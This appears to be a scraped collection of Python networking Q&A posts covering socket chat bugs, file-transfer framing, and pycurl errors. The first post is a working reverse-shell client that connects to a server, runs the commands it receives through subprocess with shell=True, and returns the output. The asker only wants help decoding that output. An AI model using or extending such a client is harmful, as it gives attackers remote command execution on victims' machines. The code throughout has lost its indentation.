We Keep Coding

How to handle error while encryption decoding?

I am trying to decode packages that will come from the server reverse shell. Problem is It is not always possible to know the encoding style of the reached system even though utf-8 is massively dominating. So I want to loop through a list to try every possible encoding systems that embedded in python to decode the format.
import socket
import subprocess
import simplejson
import os
import sys
def decoder():
codecs = open("C:\\Users\\burak\\Desktop\\Folders\\FILES\\scripts\\scripts_1\\3.9codecs.txt")
return list(codec.strip()[2:-2] for codec in codecs)
class Client:
def __init__(self, host, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((host, port))
def json_send(self, data):
json_data = simplejson.dumps(data)
self.connection.send(json_data.encode('utf-8'))
def json_recv(self):
json_data = self.connection.recv(2048).decode()
return simplejson.loads(json_data)
def command_execution(self, command):
otpt = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
parse = otpt.communicate()
x = 0
> ***try:
> This PART !
> except Exception as e:
> print(e)***
def change_directory(self, directory):
os.chdir(directory)
return "Cd to " + directory
def start(self):
while True:
command = self.json_recv()
if command[0] == "exit":
self.connection.close()
sys.exit(0)
elif command[0] == "cd" and len(command) > 1:
command_output = self.change_directory(command[1])
else:
command_output = self.command_execution(command)
self.json_send(command_output)
client_one = Client("localhost", 8080)
client_one.start()
In my code you can see, I am extracting a string from a .txt file than converting it into a list, than what I tried is that
try:
for codec in decoder()
return parse[0].decode(codec)
if UnicodeDecodeError or TypeError:
continue
except Exception as e:
print(e)
It is not working as I expected, I think everytime decoder crashes, for loop jumping back to where it starts (in my case 'ascii' as a first element of that list). I could not come up with any solutions, ideas ?

Python Curl - Illegal Characters Found in URL

error: (3, 'Illegal characters found in URL')
My url has got special characters like [AVC_(1)_(P1)_0]
i cant get this to work, i tried encoding but that would give me "Could not resolve host: https%3A"
Please advice
import sys
import Queue
import threading
import pycurl
import os
import urllib
from StringIO import StringIO
num_conn = 1
# Make a queue with (url, filename) tuples
queue = Queue.Queue()
with open('list.txt') as f:
for line in f:
print line
queue.put((line, 'test.mp4'))
if 'str' in line:
break
# Check args
assert queue.queue, "no URLs given"
num_urls = len(queue.queue)
num_conn = min(num_conn, num_urls)
assert 1 <= num_conn <= 10000, "invalid number of concurrent connections"
print "PycURL %s (compiled against 0x%x)" % (pycurl.version, pycurl.COMPILE_LIBCURL_VERSION_NUM)
print "----- Getting", num_urls, "URLs using", num_conn, "connections -----"
class WorkerThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while 1:
try:
url, filename = self.queue.get_nowait()
except Queue.Empty:
raise SystemExit
#dirname = os.path.dirname(filename)
#fp = open(dirname, "wb")\
#url = urllib.quote(url.encode('utf-8'))
fp = open(os.getcwd()+'/'+filename, "wb")
curl = pycurl.Curl()
curl.setopt(pycurl.URL, url)
curl.setopt(pycurl.FOLLOWLOCATION, 1)
curl.setopt(pycurl.MAXREDIRS, 5)
curl.setopt(pycurl.CONNECTTIMEOUT, 30)
curl.setopt(pycurl.TIMEOUT, 300)
curl.setopt(pycurl.NOSIGNAL, 1)
curl.setopt(pycurl.WRITEDATA, fp)
try:
curl.perform()
except:
import traceback
traceback.print_exc(file=sys.stderr)
sys.stderr.flush()
curl.close()
fp.close()
sys.stdout.write(".")
sys.stdout.flush()
# Start a bunch of threads
threads = []
for dummy in range(num_conn):
t = WorkerThread(queue)
t.start()
threads.append(t)
# Wait for all threads to finish
for thread in threads:
thread.join()

Why not use requests in lieu of pycurl, which would make your run method:
def run(self):
while True:
try:
url, filename = self.queue.get_nowait()
except Queue.Empty:
raise SystemExit
with open(os.getcwd()+'/'+filename, "wb") as fp:
#fp.write(requests.get(url).content)
fp.write(requests.get(url, headers={'user-agent': 'CodeGuru'}).content
I made a few other, stylistic changes.

python socket tchat issue

I started to code in python with sockets and I have a little problem for my chat script.
Server script
import pickle, socket, struct, sys, threading
SERVERADDRESS = ("localhost", 6030)
class helloChatServer(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.__server = socket.socket()
self.users = []
try:
self.__server.bind(SERVERADDRESS)
except socket.error:
print('Bind failed {}'.format(socket.error))
self.__server.listen(10)
def exit(self):
self.__server.close()
def run(self):
print( "Listening... {}".format(SERVERADDRESS))
while True:
client, addr = self.__server.accept()
try:
threading.Thread(target=self._handle, args=(client, addr)).start()
except OSError:
print('Error during processing the message')
def _handle(self, client, addr):
print('Client connected with {}:{}'.format(addr[0], str(addr[1])))
self.users.append(addr)
while True:
data = client.recv(1024)
print(data)
client.send(data)
client.close()
if __name__ == '__main__':
helloChatServer().run()
Client script
import pickle, socket, struct, sys, threading
SERVERADDRESS = (socket.gethostname(), 6050)
class helloChatClient():
def __init__(self, host='localhost', port=5000, pseudo="Visitor"):
self.__socket = socket.socket()
self.__socket.bind((host, port))
self.__pseudo = pseudo
print('Listening on {}:{}'.format(host, port))
def run(self):
handlers = {
'/exit': self._exit,
'/quit': self._quit,
'/join': self._join,
'/send': self._send
}
self.__running = True
self.__address = None
threading.Thread(target=self._receive).start()
while self.__running:
line = sys.stdin.readline().rstrip() + ' '
# Extract the command and the param
command = line[:line.index(' ')]
param = line[line.index(' ')+1:].rstrip()
# Call the command handler
if command in handlers:
try:
handlers[command]() if param == '' else handlers[command](param)
except:
print("Error during the execution of the message")
else:
print('Command inconnue:', command)
def _exit(self):
self.__running = False
self.__address = None
self.__socket.close()
def _quit(self):
self.__address = None
def _join(self, param):
if self.__pseudo == "Visitor":
self.__pseudo = input("Choose a username: ")
tokens = param.split(' ')
if len(tokens) == 2:
try:
self.__address = (tokens[0], int(tokens[1]))
self.__socket.connect(self.__address)
print('~~~~~~~~~~~~~~~~~~~~~~~~~~')
print('Connected at {}:{}'.format(*self.__address))
print('~~~~~~~~~~~~~~~~~~~~~~~~~~')
except OSError:
print("Error during the sending of the message")
self.__socket.send(self.__pseudo.encode())
def _send(self, param):
if self.__address is not None:
try:
message = param.encode()
totalsent = 0
while totalsent < len(message):
sent = self.__socket.send(message[totalsent:])
totalsent += sent
print(self.__socket.recv(1024).decode())
except OSError:
print('Error during the reception of the message')
def _receive(self):
while self.__running:
try:
data = self.__socket.recv(1024).decode()
print(data)
except socket.timeout:
pass
except OSError:
return
if __name__ == '__main__':
if len(sys.argv) == 4:
helloChatClient(sys.argv[1], int(sys.argv[2]), sys.argv[3]).run()
else:
helloChatClient().run()
Well when I run the script on the terminal, I see this.
Server
MacBook-Pro-de-Saikou:labo2 saikouah$ python3.4 helloChatServer.py
En écoute sur... ('MacBook-Pro-de-Saikou.local', 6030)
Client connected with 127.0.0.1:5004
Il y a actuellement 1 connecté
b'bluebeel'
b'hello'
Client
MacBook-Pro-de-Saikou:labo2 saikouah$ python3.4 helloChatClient.py localhost 5004 bluebeel
Écoute sur localhost:5004
/join MacBook-Pro-de-Saikou.local 6030
~~~~~~~~~~~~~~~~~~~~~~~~~~
Connecté à MacBook-Pro-de-Saikou.local:6030
~~~~~~~~~~~~~~~~~~~~~~~~~~
/send hello
bluebeel
On the client terminal he doesn't print me hello but bluebeel. I made several test and he took me every time the previous one message. Looks like he is late.
Someone can help me? :)

PROBLEM ANALYSIS
Your code fails in _receive function:
data = self.__socket.recv(1024).decode()
This line throws OSError because you try to call .recv before connecting to the server. Thus the exception handler is fired and the function exits. So what happens is that after calling
threading.Thread(target=self._receive).start()
function _receive exits before you call /join. So watch what happens
You call /join.
bluebeel is send to the server
Server receives it and sends it back to the client
But _receive function is no longer there. So the message is "stacked" on the socket (it will wait for next .recv() call)
You call /send hello
Server receives hello and sends it back
Client calls print(self.__socket.recv(1024).decode()) in _send method
But .recv retrieves the first message that is stacked on the socket. In that case it is not hello, it is bluebeel.
Now this schema continues to work. You send message, server pings it back but there's always 1 message in front of the received one. The "late" message.
SOLUTION
One way of solving this issue is to call
threading.Thread(target=self._receive).start()
in ._join method after .connect. Remember to remove print(self.__socket.recv(1024).decode()) from _send method, otherwise it will block stdin.
Of course you will have problems when issuing multiple /join commands. To properly address that you would have to keep track of _receive thread and kill it at the begining of ._join method. This however is beyond the scope of this question IMHO.
SIDE NOTE
Don't ever handle exceptions like you did. This is wrong:
try:
data = self.__socket.recv(1024).decode()
print(data)
except socket.timeout:
pass
except OSError:
return
At least do this:
import traceback
try:
data = self.__socket.recv(1024).decode()
print(data)
except socket.timeout:
traceback.print_exc()
except OSError:
traceback.print_exc()
return

How to finish a socket file transfer in Python?

I have a Client and a Server and I need to transfer some files using sockets. I can send small messages, but when I try to send a File, the problems begins...
client.py:
from socket import *
from threading import Thread
import sys
import hashlib
class Client(object):
ASK_LIST_FILES = "#001" # 001 is the requisition code to list
# all the files
ASK_SPECIFIC_FILE = "#002" # 002 is the requisition code to a
# specific file
SEND_FILE = "#003" # 003 is the requisition code to send one
# file
AUTHENTICATION = "#004" # 004 is the requisition code to user
# authentication
listOfFiles = []
def __init__(self):
try:
self.clientSocket = socket(AF_INET, SOCK_STREAM)
except (error):
print("Failed to create a Socket.")
sys.exit()
def connect(self, addr):
try:
self.clientSocket.connect(addr)
except (error):
print("Failed to connect.")
sys.exit()
print(self.clientSocket.recv(1024).decode())
def closeConnection(self):
self.clientSocket.close()
def _askFileList(self):
try:
data = Client.ASK_LIST_FILES
self.clientSocket.sendall(data.encode())
# self._recvFileList()
except (error):
print("Failed asking for the list of files.")
self.closeConnection()
sys.exit()
thread = Thread(target = self._recvFileList)
thread.start()
def _recvFileList(self):
print("Waiting for the list...")
self.listOfFiles = []
while len(self.listOfFiles) == 0:
data = self.clientSocket.recv(1024).decode()
if (data):
self.listOfFiles = data.split(',')
if(len(self.listOfFiles) > 0):
print (self.listOfFiles)
def _askForFile(self, fileIndex):
fileIndex = fileIndex - 1
try:
data = Client.ASK_SPECIFIC_FILE + "#" + str(fileIndex)
self.clientSocket.sendall(data.encode())
except(error):
print("Failed to ask for an specific file.")
self.closeConnection()
sys.exit()
self._downloadFile(fileIndex)
def _downloadFile(self, fileIndex):
print("Starting receiving file")
f = open("_" + self.listOfFiles[fileIndex], "wb+")
read = self.clientSocket.recv(1024)
# print(read)
# f.close
while len(read) > 0:
print(read)
f.write(read)
f.flush()
read = self.clientSocket.recv(1024)
f.flush()
f.close()
self.closeConnection()
server.py
from socket import *
from threading import Thread
import sys
import glob
class Server(object):
def __init__(self):
try:
self.serverSocket = socket(AF_INET, SOCK_STREAM)
except (error):
print("Failed to create a Socket.")
sys.exit()
def connect(self, addr):
try:
self.serverSocket.bind(addr)
except (error):
print ("Failed on binding.")
sys.exit()
def closeConnection(self):
self.serverSocket.close()
def waitClients(self, num):
while True:
print("Waiting for clients...")
self.serverSocket.listen(num)
conn, addr = self.serverSocket.accept()
print("New client found...")
thread = Thread(target = self.clientThread, args = (conn,))
thread.start()
def clientThread(self, conn):
WELCOME_MSG = "Welcome to the server"
conn.send(WELCOME_MSG.encode())
while True:
data = conn.recv(2024).decode()
if(data):
# print(data)
# reply = 'OK: ' + data
# conn.sendall(reply.encode())
if(data == "#001"):
listOfFiles = self.getFileList()
strListOfFiles = ','.join(listOfFiles)
self._sendFileList(strListOfFiles, conn)
else:
dataCode = data.split('#')
print(dataCode)
if(dataCode[1] == "002"):
print("Asking for file")
self._sendFile(int(dataCode[2]), conn)
if(dataCode[1] == "003"):
print("Pedido de login")
if self._authentication(dataCode[2]):
conn.send("OK".encode())
# self._recvFile(conn)
else:
conn.send("FAILED".encode())
def _sendFile(self, fileIndex, conn):
listOfFiles = self.getFileList()
print(fileIndex)
print(listOfFiles[fileIndex])
f = open(listOfFiles[fileIndex], "rb")
read = f.read(1024)
while len(read) > 0:
conn.send(read)
read = f.read(1024)
f.close()
def _sendFileList(self, strList, conn):
try:
conn.sendall(strList.encode())
except (error):
print("Failed to send list of files.")
def getFileList(self):
return glob.glob("files/*")
When I try to get a file from my server, I can transfer everything but the connection never ends. What is going on with my code?

First, you are doing here the most common error using TCP: assume all data sent in a single send() will be got identically in a single recv(). This is untrue for TCP, because it is an octet stream, not a message stream. Your code will work only under ideal (lab) conditions and could mysteriously fail in a real world usage. You should either explicitly invent message boundaries in TCP streams, or switch e.g. to SCTP. The latter is available now almost everywhere and keeps message boundaries across a network connection.
The second your error is directly connected to the first one. When sending file, you don't provide any explicit mark that file has been finished. So, clients waits forever. You might try to close server connection to show that file is finished, but in that case client won't be able to distinguish real file end and connection loss; moreover, the connection won't be reusable for further commands. You would select one of the following ways:
Prefix a file contents with its length. In this case, client will know how many bytes shall be received for the file.
Send file contents as a chunk sequence, prefixing each chunk with its length (only for TCP) and with mark whether this chunk is last (for both transports). Alternatively, a special mark "EOF" can be sent without data.
Similarly, control messages and their responses shall be provided with either length prefix or a terminator which can't appear inside such message.
When you finish developing this, you would look at FTP and HTTP; both addresses all issues I described here but in principally different ways.

detect disconnect persistant curl connection

Where should I check for a disconnect in a pycurl persistant connection?
Somewhere in my script the connection is dying/timing out/throwing an error but the script stays open. I need to detect the problem so I can restart the script.
We are connecting to gnip (a social media data provider)
My code is here: https://gist.github.com/3353033
I've read over the options for libcurl and I read through the php curl_setopts docs because they also leverage libcurl.
class Client:
time_start = time.time()
content = ""
def __init__(self,options):
self.options = options
self.buffer = ""
self.conn = pycurl.Curl()
self.conn.setopt(pycurl.USERPWD, "%s:%s" % (USER, PASS))
self.conn.setopt(pycurl.ENCODING,'gzip')
self.conn.setopt(pycurl.URL, STREAM_URL)
self.conn.setopt(pycurl.WRITEFUNCTION, self.on_receive)
self.conn.setopt(pycurl.FOLLOWLOCATION,1)
self.conn.setopt(pycurl.MAXREDIRS, 5)
self.conn.setopt(pycurl.COOKIEFILE,"cookie.txt")
try:
self.conn.perform()
except Exception,e:
print e.message
def on_receive(self, data):
self.buffer += data
if data.endswith("\r\n") and self.buffer.strip():
if(self.triggered()):
if(len(self.buffer) != 0 ):
try:
SaveThread(self.buffer).start()
except Exception, e:
print "something i commented would have told you there was an error"
system.exit(1)
self.buffer = ""
def triggered(self):
# First trigger based on size then based on time..
if (len(self.buffer) > SAVE_FILE_LENGTH):
return True
time_end = time.time()
if (((time_end - self.time_start) > ROLL_DURATION)): #for the time frame
self.time_start=time.time()
return True
return False
edit: i've fixed the gist

In the above code system.exit(1) should be sys.exit(1) right?
Other than that do you have any more bare except clauses that might be catching the SystemExit exception raised by sys.exit(1)?